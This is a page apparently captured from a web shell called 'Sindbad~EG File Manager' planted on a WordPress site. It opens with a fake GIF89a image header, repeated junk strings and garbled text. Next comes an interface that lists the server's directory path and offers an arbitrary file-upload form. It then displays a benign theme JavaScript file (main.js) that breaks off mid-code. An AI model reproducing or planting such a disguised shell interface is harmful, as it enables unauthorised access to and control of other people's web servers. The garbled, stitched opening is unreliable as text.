GIF89a；?? JFIF 


 ? ?  ?+GIF89a:GIF89a：
út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m"
<!DOCTYPE html>
TRBVUI)SDNIUWM(SDMKIUF<SJDIUK_SKDOI/SLKDOI_SDMKJIU2\DMKIUJ
<!DOCTYPE html>CNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW<SNJDIU
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ</title>
22527GIF89a；?? JFIF 


 ? ?  ?+GIF89a:GIF89a：
út idùng ?? li?t kê các y?u t? t?o nên t?ng th?, t??ng ???ng v?i "bao g?m"
<!DOCTYPE html>
TRBVUI)SDNIUWM(SDMKIUF<SJDIUK_SKDOI/SLKDOI_SDMKJIU2\DMKIUJ
<!DOCTYPE html>CNCU)XMNDIUF>SDNIUF}SDNJFIU|SDJIU]SHDUUJW<SNJDIU
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>XMIU_SKDLOI}SDMNIUDJ_DKLSIUW<SDNIUF|SDMIUFJ)SDMNJIUHSJ</title>
22527<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>D.R.S Dz</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>Sindbad~EG File Manager</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : <a href="?path=/">/</a><a href="?path=//home1">home1</a>/<a href="?path=//home1/htainterstpstarp">htainterstpstarp</a>/<a href="?path=//home1/htainterstpstarp/www">www</a>/<a href="?path=//home1/htainterstpstarp/www/wp-content">wp-content</a>/<a href="?path=//home1/htainterstpstarp/www/wp-content/themes">themes</a>/<a href="?path=//home1/htainterstpstarp/www/wp-content/themes/roofix">roofix</a>/<a href="?path=//home1/htainterstpstarp/www/wp-content/themes/roofix/assets">assets</a>/<a href="?path=//home1/htainterstpstarp/www/wp-content/themes/roofix/assets/js">js</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr><tr><td>Current File : //home1/htainterstpstarp/www/wp-content/themes/roofix/assets/js/main.js</tr></td></table><br /><pre>jQuery(document).ready(function ($) {
    &quot;use strict&quot;;

    $(&#039;.offcanvas-menu&#039;).on(&#039;click&#039;, &#039;li.menu-item &gt; a&#039;, function (e) {
        var _self = $(this),
            parent = _self.closest(&#039;li.menu-item&#039;),
            root = parent.closest(&#039;ul.offcanvas-menu&#039;),
            target = parent.find(&#039;&gt; ul.sub-menu&#039;);
        if (target.length) {
            e.preventDefault();
            root.find(&#039;ul.sub-menu&#039;).removeClass(&#039;open&#039;);
            target.addClass(&#039;open&#039;);
            return false;
        }
    });

    var a = $(&#039;.offscreen-navigation .menu&#039;);

    if (a.length) {
        $(&quot;.menu-item-has-children&quot;).append(&quot;&lt;span&gt;&lt;/span&gt;&quot;);
        $(&quot;.page_item_has_children&quot;).append(&quot;&lt;span&gt;&lt;/span&gt;&quot;);

        a.children(&quot;li&quot;).addClass(&quot;menu-item-parent&quot;);

        $(&#039;.menu-item-has-children &gt; span&#039;).on(&#039;click&#039;, function () {
            $(this).siblings(&#039;a&#039;).first().toggleClass(&#039;opened&#039;);
            var _self = $(this),
                sub_menu = _self.parent().find(&#039;&gt;.sub-menu&#039;);
            if (_self.hasClass(&#039;open&#039;)) {
                sub_menu.slideUp();
                _self.removeClass(&#039;open&#039;);
            } else {
                sub_menu.slideDown();
                _self.addClass(&#039;open&#039;);
            }
        });
        $(&#039;.page_item_has_children &gt; span&#039;).on(&#039;click&#039;, function () {
            var _self = $(this),
                sub_menu = _self.parent().find(&#039;&gt;.children&#039;);
            if (_self.hasClass(&#039;open&#039;)) {
                sub_menu.slideUp();
                _self.removeClass(&#039;open&#039;);
            } else {
                sub_menu.slideDown();
                _self.addClass(&#039;open&#039;);
            }
        });

        $(&#039;.offscreen-navigation .menu-item-parent &gt; a&#039;).on(&#039;click&#039;, function () {
            setTimeout(function() {
                $(&#039;.mean-bar .sidebarBtn&#039;).trigger(&#039;click&#039;);
            }, 300)
        });
    }

    function countdown() {
        if (typeof $.fn.countdown == &#039;function&#039;) {
            try {
                var day = RoofixObj.day == &#039;Day&#039; ? &#039;Day%!D&#039; : RoofixObj.day,
                    hour = RoofixObj.hour == &#039;Hour&#039; ? &#039;Hour%!D&#039; : RoofixObj.hour,
                    minute = RoofixObj.minute == &#039;Minute&#039; ? &#039;Minute%!D&#039; : RoofixObj.minute,
                    second = RoofixObj.second == &#039;Second&#039; ? &#039;Second%!D&#039; : RoofixObj.second;
                $(&#039;.countdown-layout1&#039;).each(function () {
                    var $CountdownSelector = $(this).find(&#039;.idcountdown&#039;);
                    var eventCountdownTime = $CountdownSelector.data(&#039;countdown&#039;);
                    $CountdownSelector.countdown(eventCountdownTime).on(&#039;update.countdown&#039;, function (event) {
                        $(this).html(event.strftime(&#039;&#039; + &#039;&lt;div class=&quot;countdown-section&quot;&gt;&lt;div class=&quot;countdown-number&quot;&gt;%D&lt;/div&gt;&lt;div class=&quot;countdown-unit&quot;&gt;&#039; + day + &#039;&lt;/div&gt;&lt;/div&gt;&#039; + &#039;&lt;div class=&quot;countdown-section&quot;&gt;&lt;div class=&quot;countdown-number&quot;&gt;%H&lt;/div&gt;&lt;div class=&quot;countdown-unit&quot;&gt;&#039; + hour + &#039;&lt;/div&gt;&lt;/div&gt;&#039; + &#039;&lt;div class=&quot;countdown-section&quot;&gt;&lt;div class=&quot;countdown-number&quot;&gt;%M&lt;/div&gt;&lt;div class=&quot;countdown-unit&quot;&gt;&#039; + minute + &#039;&lt;/div&gt;&lt;/div&gt;&#039; + &#039;&lt;div class=&quot;countdown-section&quot;&gt;&lt;div class=&quot;countdown-number&quot;&gt;%S&lt;/div&gt;&lt;div class=&quot;countdown-unit&quot;&gt;&#039; + second + &#039;&lt;/div&gt;&lt;/div&gt;&#039;));
                    }).on(&#039;finish.countdown&#039;, function (event) {
                        $(this).html(event.strftime(&#039;&#039;));
                    });
                });

            } catch (err) {
                console.log(&#039;Countdown : &#039; + err.message);
            }
        }
    }

    countdown();

    function rt_hero_effect() {
        &quot;use strict&quot;;
        var scrollCurrent = window.pageYOffset;
        var scrollOpacity = 1 - (scrollCurrent / 500);
        jQuery(&quot;#rt-entry-banner&quot;).css({opacity: scrollOpacity});
    }

    jQuery(window).on(&#039;scroll&#039;, function () {
        rt_hero_effect();
    });

    function rtanimation_portfolio() {
        jQuery(&#039;.roofix-portfolio-animation-wrap&#039;).each(function () {
            jQuery(this).on(&#039;mouseenter&#039;, function () {
                if (jQuery(this).data(&#039;title&#039;)) {
                    jQuery(&#039;.roofix-portfolio-animation-title&#039;).html(jQuery(this).data(&#039;title&#039;) + &#039;&lt;span class=&quot;work-cat&quot;&gt;&#039; + jQuery(this).data(&#039;category&#039;) + &#039;&lt;/span&gt;&#039;);
                    jQuery(&#039;.roofix-portfolio-animation-title&#039;).addClass(&#039;visible&#039;);
                }
                jQuery(document).on(&#039;mousemove&#039;, function (e) {
                    jQuery(&#039;.roofix-portfolio-animation-title&#039;).css({
                        left: e.clientX - 10,
                        top: e.clientY + 25
                    });
                });
            }).on(&#039;mouseleave&#039;, function () {
                jQuery(&#039;.roofix-portfolio-animation-title&#039;).removeClass(&#039;visible&#039;);
            });
        });
    }

    rtanimation_portfolio();

    /*-- Button-Hover-Effect-Script --*/
    $(&#039;.mouse-dir&#039;).on(&#039;mouseenter&#039;, function (e) {
        var parentOffset = $(this).offset(),
            relX = e.pageX - parentOffset.left,
            relY = e.pageY - parentOffset.top;
        if ($(this).find(&#039;.mouse-dir .dir-part&#039;)) {
            $(&#039;.mouse-dir .dir-part&#039;).css({
                top: relY,
                left: relX,
            });
        }
    });

    $(&#039;.mouse-dir&#039;).on(&#039;mouseout&#039;, function (e) {
        var parentOffset = $(this).offset(),
            relX = e.pageX - parentOffset.left,
            relY = e.pageY - parentOffset.top;
        if ($(this).find(&#039;.mouse-dir .dir-part&#039;)) {
            $(&#039;.mouse-dir .dir-part&#039;).css({
                top: relY,
                left: relX,
            });
        }
    });


    /*-------------------------------------
    ## making things square
    -------------------------------------*/
    $.fn.squareMaker = function () {
        this.each(function (index, el) {
            var width = $(el).outerWidth();
            var height = $(el).outerHeight();
            var biggarValue = width &gt; height ? width : height;
            biggarValue = biggarValue + 50;
            $(el).height(biggarValue);
            $(el).width(biggarValue);
        });
        return this;
    };

    /*Infinity Scroll JS*/
    var infinityData = {
        canBeLoaded: true,
        bottomOffset: 200,
        hasMorePost: true,
        paged: 1,
        scrollWrapper: $(&#039;.rt-infinity-scroll&#039;) || false
    };
    var working = false;
    if (infinityData.scrollWrapper.length) {
        $(document).on(&#039;scroll load&#039;, function () {
            var loadData = $(&#039;.lodemoredat&#039;).data(&#039;addondata&#039;);
            var edata = $(&#039;.lodemoredat&#039;).data(&#039;edata&#039;);

            var data = {
                    &#039;dataall&#039;: edata,
                    id: 23,
                    &#039;action&#039;: &#039;rt_load_more&#039;
                },
                scrollPoint = $(document).scrollTop(),
                devHeight = infinityData.scrollWrapper.offset().top + infinityData.scrollWrapper.outerHeight() - 650;


            if (scrollPoint &gt;= devHeight &amp;&amp; working == false) {
                working = true;

                console.log(&#039;Scroll trigger 2&#039;);

                $.ajax({
                    url: RoofixObj.ajaxurl,
                    data: data,
                    type: &#039;POST&#039;,
                    beforeSend: function (xhr) {

                    },
                    success: function (data) {
                        console.log(data);

                    }
                });

                setTimeout(function () {
                    working = false;
                }, 4000)

            }
        });
    }


    var offcanvasMenu = function () {
        /*-------------------------------------
        Offcanvas Menu activation code
        -------------------------------------*/
        $(&#039;#wrapper&#039;).on(&#039;click&#039;, &#039;.offcanvas-menu-btn&#039;, function (e) {
            e.preventDefault();
            var $this = $(this),
                wrapper = $(this).parents(&#039;body&#039;).find(&#039;&gt;#wrapper&#039;),
                wrapMask = $(&#039;&lt;div /&gt;&#039;).addClass(&#039;offcanvas-mask&#039;),
                offcanvasTarget = $(this).data(&#039;target&#039;),
                offcanvas = $(offcanvasTarget),
                position = offcanvas.data(&#039;position&#039;) || &#039;left&#039;;
            wrapMask.css({
                &quot;animation-name&quot;: position == &#039;left&#039; ? &#039;slideInLeft&#039; : &#039;slideInRight&#039;,
            });

            if ($this.hasClass(&#039;menu-status-open&#039;)) {
                wrapper.addClass(&#039;open&#039;).append(wrapMask);
                $this.removeClass(&#039;menu-status-open&#039;).addClass(&#039;menu-status-close&#039;);
                offcanvas.css({
                    &#039;transform&#039;: &#039;translateX(0)&#039;,
                    &#039;top&#039;: calculateWpAdminHeight(),
                });
            } else {
                removeOffcanvas();
            }

            function removeOffcanvas() {
                wrapper.removeClass(&#039;open&#039;).find(&#039;&gt; .offcanvas-mask&#039;).remove();
                $this.removeClass(&#039;menu-status-close&#039;).addClass(&#039;menu-status-open&#039;);
                var transformProperty = &#039;translateX(-100%)&#039;;
                if (RoofixObj.is_rtl) {
                    transformProperty = position === &#039;left&#039; ? &#039;translateX(100%)&#039; : &#039;translateX(-100%)&#039;;
                } else {
                    transformProperty = position === &#039;left&#039; ? &#039;translateX(-100%)&#039; : &#039;translateX(100%)&#039;;
                }
                offcanvas.css({
                    &#039;transform&#039;: transformProperty,
                });
            }

            $(&quot;.offcanvas-mask, .offcanvas-close&quot;).on(&#039;click&#039;, function () {
                removeOffcanvas();
            });

            return false;
        });
    }

    /*---------- 08. Popup Sidebar and Search Box ----------*/
    function popupElement() {
        // Sidebar Popup
        $(&#039;.sidebarBtn.circle-btn&#039;).on(&#039;click&#039;, function (e) {
            e.preventDefault();
            $(&#039;.overly-sidebar-wrapper&#039;).addClass(&#039;show&#039;);
            $(&#039;.offcanvas-menu-btn&#039;).addClass(&#039;menu-status-open&#039;);
        });

        $(&#039;.mean-bar .sidebarBtn&#039;).on(&#039;click&#039;, function (e) {
            e.preventDefault();
            if ($(&#039;.rt-slide-nav&#039;).is(&quot;:visible&quot;)) {
                $(&#039;.rt-slide-nav&#039;).slideUp();
                $(&#039;body&#039;).removeClass(&#039;slidemenuon&#039;);
            } else {
                $(&#039;.rt-slide-nav&#039;).slideDown();
                $(&#039;body&#039;).addClass(&#039;slidemenuon&#039;);
            }

        });

        $(&#039;.overly-sidebar-wrapper&#039;).on(&#039;click&#039;, function (e) {
            e.stopPropagation();
            $(&#039;.overly-sidebar-wrapper&#039;).removeClass(&#039;show&#039;);
            $(&#039;.offcanvas-menu-btn&#039;).removeClass(&#039;menu-status-open&#039;);
        });
        $(&#039;.overly-sidebar-wrapper .overly-sidebar-content&#039;).on(&#039;click&#039;, function (e) {
            e.stopPropagation();
            $(&#039;.overly-sidebar-wrapper&#039;).addClass(&#039;show&#039;);
            $(&#039;.offcanvas-menu-btn&#039;).removeClass(&#039;menu-status-open&#039;);
        });
        $(&#039;#sidebar-close&#039;).on(&#039;click&#039;, function (e) {
            e.preventDefault();
            e.stopPropagation();
            $(&#039;.overly-sidebar-wrapper&#039;).removeClass(&#039;show&#039;);
            $(&#039;.offcanvas-menu-btn&#039;).removeClass(&#039;menu-status-open&#039;);
        });
    };

    popupElement();

    var calculateWpAdminHeight = function () {
        var wpadminbar = $(&#039;#wpadminbar&#039;);
        var wpadminbarHeight = 0;
        if (wpadminbar) {
            wpadminbarHeight = wpadminbar.outerHeight();
        }
        return wpadminbarHeight;
    }

    $(window).on(&#039;scroll&#039;, function () {
        // Sticky Menu
        if ($(&#039;body&#039;).hasClass(&#039;has-sticky-menu&#039;)) {
            var stickyPlaceHolder = $(&quot;#sticky-placeholder&quot;),
                menu = $(&quot;#header-menu&quot;),
                menuH = menu.outerHeight(),
                topbarH = $(&#039;#tophead&#039;).outerHeight() || 0,
                targrtScroll = topbarH,
                header = $(&quot;#header-menu&quot;);
            if ($(window).scrollTop() &gt; targrtScroll) {
                header.addClass(&#039;rt-sticky&#039;);
                stickyPlaceHolder.height(menuH);
            } else {
                header.removeClass(&#039;rt-sticky&#039;);
                stickyPlaceHolder.height(0);
            }
        }
    });

    // Fixed header mobile
    $(window).on(&quot;scroll&quot;, function () {
        if ($(&#039;body&#039;).hasClass(&#039;has-sticky-menu&#039;)) {
          const stickyPlaceHolder = $(&quot;#mobile-sticky-placeholder&quot;),
            menu = $(&quot;#mobile-menu-bar-wrap&quot;),
            menuH = menu.outerHeight(),
            topbarH = $(&quot;#mobile-header-topbar&quot;).outerHeight() || 0,
            topAdminH = $(&#039;#wpadminbar&#039;).outerHeight() || 0,
            targrtScroll = topbarH + topAdminH;
          if ($(window).scrollTop() &gt; targrtScroll) {
            $(&quot;#meanmenu&quot;).addClass(&quot;rt-sticky&quot;);
            stickyPlaceHolder.height(menuH);
          } else {
            $(&quot;#meanmenu&quot;).removeClass(&quot;rt-sticky&quot;);
            stickyPlaceHolder.height(0);
          }
        }
    });

    $(&#039;a[data-toggle=&quot;tab&quot;]&#039;).on(&#039;shown.bs.tab&#039;, function (e) {
        elevateZoom();
    });

    function elevateZoom() {
        if ($.fn.elevateZoom !== undefined) {
            $(&#039;.zoom_01&#039;).elevateZoom({
                zoomType: &quot;inner&quot;,
                cursor: &quot;crosshair&quot;,
                zoomWindowFadeIn: 500,
                zoomWindowFadeOut: 200
            });
        }
    }

    function alignModal() {
        var modalDialog = $(this).find(&quot;.modal-dialog&quot;);
        // Applying the top margin on modal dialog to align it vertically center
        modalDialog.css(&quot;margin-top&quot;, Math.max(0, ($(window).height() - modalDialog.height()) / 2));
    }

    // Align modal when it is displayed
    $(&quot;.modal&quot;).on(&quot;shown.bs.modal&quot;, alignModal);

    // Align modal when user resize the window
    $(window).on(&quot;resize&quot;, function () {
        $(&quot;.modal:visible&quot;).each(alignModal);
    });
    $(&#039;.rt-content, .rt-sidebar&#039;).theiaStickySidebar({
        // Settings
        additionalMarginTop: 200,
        additionalMarginBottom: 200
    });

    //Header Search
    $(&#039;a[href=&quot;#header-search&quot;]&#039;).on(&quot;click&quot;, function (event) {
        event.preventDefault();
        $(&quot;#header-search&quot;).addClass(&quot;open&quot;);
        $(&#039;#header-search &gt; form &gt; input[type=&quot;search&quot;]&#039;).focus();
    });

    $(&quot;#header-search, #header-search button.close&quot;).on(&quot;click keyup&quot;, function (event) {
        if (
            event.target === this ||
            event.target.className === &quot;close&quot; ||
            event.keyCode === 27
        ) {
            $(this).removeClass(&quot;open&quot;);
        }
    });


    /* Scroll to top */
    $(&#039;.scrollup.back-top&#039;).on(&#039;click&#039;, function () {
        $(&#039;html, body&#039;).animate({scrollTop: 0}, 800);
        return false;
    });
    $(window).scroll(function () {
        if ($(this).scrollTop() &gt; 100) {
            $(&#039;.scrollup.back-top&#039;).fadeIn();
        } else {
            $(&#039;.scrollup.back-top&#039;).fadeOut();
        }
    });


    /* Search Box */
    $(&quot;.search-box-area&quot;).on(&#039;click&#039;, &#039;.search-button, .search-close&#039;, function (event) {
        event.preventDefault();
        if ($(&#039;.search-text&#039;).hasClass(&#039;active&#039;)) {
            $(&#039;.search-text, .search-close&#039;).removeClass(&#039;active&#039;);
        } else {
            $(&#039;.search-text, .search-close&#039;).addClass(&#039;active&#039;);
        }
        return false;
    });

    /* Header Right Menu */
    $(&#039;.additional-menu-area&#039;).on(&#039;click&#039;, &#039;.side-menu-trigger&#039;, function (e) {
        e.preventDefault();
        var width = $(&#039;.sidenav&#039;).width();
        if (width == 280) {
            $(&#039;.sidenav&#039;).width(0);
        } else {
            $(&#039;.sidenav&#039;).width(280);
        }
    });
    $(&#039;.additional-menu-area&#039;).on(&#039;click&#039;, &#039;.closebtn&#039;, function (e) {
        e.preventDefault();
        $(&#039;.sidenav&#039;).width(0);
    });

    /* Mega Menu */
    $(&#039;.site-header .main-navigation ul &gt; li.mega-menu&#039;).each(function () {
        // total num of columns
        var items = $(this).find(&#039; &gt; ul.sub-menu &gt; li&#039;).length;
        // screen width
        var bodyWidth = $(&#039;body&#039;).outerWidth();
        // main menu link width
        var parentLinkWidth = $(this).find(&#039; &gt; a&#039;).outerWidth();
        // main menu position from left
        var parentLinkpos = $(this).find(&#039; &gt; a&#039;).offset().left;

        var width = items * 220;
        var left = (width / 2) - (parentLinkWidth / 2);

        var linkleftWidth = parentLinkpos + (parentLinkWidth / 2);
        var linkRightWidth = bodyWidth - (parentLinkpos + parentLinkWidth);

        // exceeds left screen
        if ((width / 2) &gt; linkleftWidth) {
            $(this).find(&#039; &gt; ul.sub-menu&#039;).css({
                width: width + &#039;px&#039;,
                right: &#039;inherit&#039;,
                left: &#039;-&#039; + parentLinkpos + &#039;px&#039;
            });
        }
        // exceeds right screen
        else if ((width / 2) &gt; linkRightWidth) {
            $(this).find(&#039; &gt; ul.sub-menu&#039;).css({
                width: width + &#039;px&#039;,
                left: &#039;inherit&#039;,
                right: &#039;-&#039; + linkRightWidth + &#039;px&#039;
            });
        } else {
            $(this).find(&#039; &gt; ul.sub-menu&#039;).css({
                width: width + &#039;px&#039;,
                left: &#039;-&#039; + left + &#039;px&#039;
            });
        }
    });

    //woocommerce ajax

    var WooCommerce = {
        quantity_change: function quantity_change() {
            $(document).on(&#039;click&#039;, &#039;.quantity .input-group-btn .quantity-btn&#039;, function () {
                var $input = $(this).closest(&#039;.quantity&#039;).find(&#039;.input-text&#039;);

                if ($(this).hasClass(&#039;quantity-plus&#039;)) {
                    $input.trigger(&#039;stepUp&#039;).trigger(&#039;change&#039;);
                }

                if ($(this).hasClass(&#039;quantity-minus&#039;)) {
                    $input.trigger(&#039;stepDown&#039;).trigger(&#039;change&#039;);
                }
            });
        },
        wishlist_icon: function wishlist_icon() {
            $(document).on(&#039;click&#039;, &#039;.rdtheme-wishlist-icon&#039;, function () {
                if ($(this).hasClass(&#039;rdtheme-add-to-wishlist&#039;)) {
                    var $obj = $(this),
                        productId = $obj.data(&#039;product-id&#039;),
                        afterTitle = $obj.data(&#039;title-after&#039;);
                    var data = {
                        &#039;action&#039;: &#039;roofix_add_to_wishlist&#039;,
                        &#039;context&#039;: &#039;frontend&#039;,
                        &#039;nonce&#039;: $obj.data(&#039;nonce&#039;),
                        &#039;add_to_wishlist&#039;: productId
                    };
                    $.ajax({
                        url: RoofixObj.ajaxurl,
                        type: &#039;POST&#039;,
                        data: data,
                        beforeSend: function beforeSend() {
                            $obj.find(&#039;.wishlist-icon&#039;).hide();
                            // $obj.find(&#039;.wl-btn-text&#039;).hide();
                            $obj.find(&#039;.ajax-loading&#039;).show();
                            $obj.addClass(&#039;rdtheme-wishlist-ajaxloading&#039;);
                        },
                        success: function success(data) {
                            if (data[&#039;result&#039;] != &#039;error&#039;) {
                                $obj.find(&#039;.ajax-loading&#039;).hide();
                                $obj.removeClass(&#039;rdtheme-wishlist-ajaxloading&#039;);
                                $obj.find(&#039;.wishlist-icon&#039;).removeClass(&#039;far fa-heart&#039;).addClass(&#039;fas fa-heart&#039;).show();
                                $obj.removeClass(&#039;rdtheme-add-to-wishlist&#039;).addClass(&#039;rdtheme-remove-from-wishlist&#039;);
                                $obj.attr(&#039;title&#039;, afterTitle);
                                $obj.find(&#039;.wl-btn-text&#039;).text(afterTitle);
                                $(&quot;.wl-btn-text&quot;).text(function (index, text) {
                                    return text.replace(&quot;Add to Wishlist&quot;, &quot;Added in Wishlist! View Wishlist&quot;);
                                });
                            } else {
                                console.log(data[&#039;message&#039;]);
                            }
                        }
                    });
                    return false;
                }
            });
        }
    };

    WooCommerce.wishlist_icon();
    WooCommerce.quantity_change();
    // Scripts needs loading inside content area
    rdtheme_content_ready_scripts();
});

(function ($) {
    &quot;use strict&quot;;

    // Window Load+Resize
    $(window).on(&#039;load resize&#039;, function () {
        // Define the maximum height for mobile menu
        var wHeight = $(window).height();
        wHeight = wHeight - 50;
        $(&#039;.mean-nav &gt; ul&#039;).css(&#039;max-height&#039;, wHeight + &#039;px&#039;);
        // rdtheme_content_footer();
    });

    // Window Load
    $(document).ready(function () {
        // Owl Slider
        rdtheme_content_load_scripts();
        // Preloader
        $(&#039;#preloader&#039;).fadeOut(&#039;slow&#039;, function () {
            $(this).remove();
        });

        $(&#039;#site-navigation&#039;).navpoints({
            updateHash:true
        });

    });

    // Elementor
    $(window).on(&#039;elementor/frontend/init&#039;, function () {
        if (elementorFrontend.isEditMode()) {
            elementorFrontend.hooks.addAction(&#039;frontend/element_ready/widget&#039;, function () {
                rdtheme_content_ready_scripts()
                rdtheme_content_load_scripts();
            });
        }
    });


})(jQuery);


function rdtheme_content_footer() {
    var $ = jQuery;
    if ($(window).width() &gt; 991) {
        $(&quot;#page&quot;).each(function () {
            var tHeight = $(&quot;.footer-wrap-fix-off&quot;).outerHeight();

            $(this).css({
                marginBottom: tHeight
            });
        });
    } else {
        $(this).css({
            marginBottom: 0
        });
    }
}

function rdtheme_content_ready_scripts() {
    var $ = jQuery;

    /* Counter */
    if (typeof $.fn.counterUp == &#039;function&#039;) {
        $(&#039;.rt-el-counter .rt-counter-num&#039;).counterUp({
            delay: $(this).data(&#039;rtsteps&#039;),
            time: $(this).data(&#039;rtspeed&#039;)
        });
    }
}

function rdtheme_content_load_scripts() {
    var $ = jQuery;

    /* Circle Bars - Knob */
    if (typeof ($.fn.knob) !== undefined) {
        $(&#039;.knob.knob-percent.dial&#039;).each(function () {
            var $this = $(this),
                knobVal = $this.attr(&#039;data-rel&#039;);
            $this.knob({
                &#039;draw&#039;: function () {
                },
                &#039;format&#039;: function (value) {
                    return value + &#039;%&#039;;
                }
            });
            $this.appear(function () {
                $({
                    value: 0
                }).animate({
                    value: knobVal
                }, {
                    duration: 2000,
                    easing: &#039;swing&#039;,
                    step: function () {
                        $this.val(Math.ceil(this.value)).trigger(&#039;change&#039;);
                    }
                });
            }, {
                accX: 0,
                accY: -150
            });
        });
    }

    //Utility function - for keeping same height widget
    function sameHeight(selector) {
        var elements = $(selector);
        var max_height = 0;
        elements.each(function (index, el) {
            var height = $(el).height();
            var index = index;
            console.log(index);
            if (height &gt; max_height) {
                max_height = height;
            }
        });
        elements.height(max_height);

    }

    sameHeight(&#039;slick-slider-layout1 .slick-nav-wrap .slick-nav .nav-item .item-icon&#039;);

    /*-------------------------------------
    Masonry
    -------------------------------------*/
    if ($(&#039;#primary&#039;).find(&#039;div.rt-masonry-grid&#039;).length !== 0) {
        var grid = $(&#039;.rt-masonry-grid&#039;).imagesLoaded(function () {
            $grid = grid.isotope({
                // set itemSelector so .grid-sizer is not used in layout
                itemSelector: &#039;.rt-grid-item&#039;,
                percentPosition: true,
                isAnimated: true,
                masonry: {
                    columnWidth: &#039;.rt-grid-item&#039;,
                    horizontalOrder: true
                },
                animationOptions: {
                    duration: 700,
                    easing: &#039;linear&#039;,
                    queue: false
                }
            });
        });
    }


    /*-------------------------------------
   Popup
   -------------------------------------*/
    var yPopup = $(&quot;.popup-youtube&quot;);
    if (yPopup.length) {
        yPopup.magnificPopup({
            disableOn: 320,
            type: &#039;iframe&#039;,
            mainClass: &#039;mfp-fade&#039;,
            removalDelay: 160,
            preloader: false,
            fixedContentPos: false
        });
    }

    if ($(&#039;.zoom-gallery&#039;).length) {
        $(&#039;.zoom-gallery&#039;).each(function () { // the containers for all your galleries
            $(this).magnificPopup({
                delegate: &#039;a.ne-zoom&#039;, // the selector for gallery item
                type: &#039;image&#039;,
                gallery: {
                    enabled: true
                }
            });
        });
    }

    if ($(&#039;.rt_gallery_zoom&#039;).length) {
        $(&#039;.rt_gallery_zoom&#039;).magnificPopup({
            type: &#039;image&#039;,
            mainClass: &#039;mfp-with-zoom&#039;,
            gallery: {
                enabled: true
            },
            zoom: {
                enabled: true,
                duration: 300, // duration of the effect, in milliseconds
                easing: &#039;ease-in-out&#039;, // CSS transition easing function
                opener: function (openerElement) {
                    return openerElement.is(&#039;img&#039;) ? openerElement : openerElement.find(&#039;img&#039;);
                }
            }
        });
    }

    /*Video box slide*/
    $(&quot;.video-box-slide&quot;).each(function () {
        var main_wrapper = $(this).find(&#039;.swiper-container&#039;);
        var swiper = new Swiper( main_wrapper.get( 0 ), {
            loop: true,
            paginationClickable: true,
            slidesPerView: 1,
            spaceBetween: 0,
            pagination: {
                el: &quot;.swiper-pagination&quot;,
                clickable: true,
                type: &#039;bullets&#039;,
            },
             autoplay: {
               delay: 300000,
             },
        });
    });

    //initialize swiper when document ready
    $(&#039;.swiper-single-container&#039;).each(function () {
        var sliderOpt = $(this).find(&#039;.swiper-wrapper&#039;).data(&#039;slider-options&#039;);
        var swiper = new Swiper( &#039;.swiper-single-container&#039;, {
            loop: true,
            paginationClickable: true,
            slidesPerView: 1,
            spaceBetween: 0,
            navigation: {
                nextEl: &#039;.swiper-button-next&#039;,
                prevEl: &#039;.swiper-button-prev&#039;,
            },
            autoplay: {
               delay: parseInt(sliderOpt[&#039;delay&#039;]),
            },
            speed: parseInt(sliderOpt[&#039;speed&#039;]),
        });
        console.log(sliderOpt);
        if (sliderOpt[&#039;autoplay&#039;] == true) {
            swiper.autoplay.start();
        } else {
            swiper.autoplay.stop();
        }
    });

    $(&#039;.swiper-related-container&#039;).each(function () {
        var swiper = new Swiper( &#039;.swiper-related-container&#039;, {
            loop: true,
            paginationClickable: true,
            slidesPerView: 2,
            spaceBetween: 15,
            navigation: {
                nextEl: &#039;.swiper-button-next&#039;,
                prevEl: &#039;.swiper-button-prev&#039;,
            },
            autoplay: {
               delay: 300000,
            },
            breakpoints: {                
                // when window width is &lt;= 1199px
                1199: {
                    slidesPerView: 2,
                    spaceBetweenSlides: 40
                },
                // when window width is &lt;= 499px
                499: {
                    slidesPerView: 1,
                    spaceBetweenSlides: 30
                },
                0: {
                    slidesPerView: 1,
                    spaceBetweenSlides: 30
                },
            }
        });
    });
	
	/* Logo slider */
    $(&quot;.rt-el-logo-slider&quot;).each(function () {
        var $this = $(this);
        var options = $this.find(&#039;.swiper-wrapper&#039;).data(&#039;xld&#039;);
        var autoplayconditon = options[&#039;auto&#039;];
        var $next = $this.find(&#039;.swiper-button-next&#039;)[0];
        var $prev = $this.find(&#039;.swiper-button-prev&#039;)[0];
        
        var swiper = new Swiper( this, {
            autoplay: autoplayconditon ? {delay: options[&#039;autoplay&#039;][&#039;delay&#039;]} : false,
			speed: options[&#039;speed&#039;],
			loop: options[&#039;loop&#039;],
            slidesPerGroup: options[&#039;slidesPerGroup&#039;],
            paginationClickable: true,
            spaceBetween: 20,
            pagination: {
                el: &quot;.swiper-pagination&quot;,
                clickable: true,
                type: &#039;bullets&#039;,
            },
            navigation: {
                nextEl: $next,
                prevEl: $prev,
            },
            breakpoints: {
                1200: {
                    slidesPerView: options[&#039;col_lg&#039;],
                },
                992: {
                    slidesPerView: options[&#039;col_md&#039;],
                },
                768: {
                    slidesPerView: options[&#039;col_sm&#039;],
                },
                480: {
                    slidesPerView: options[&#039;col_xs&#039;],
                },
                0: {
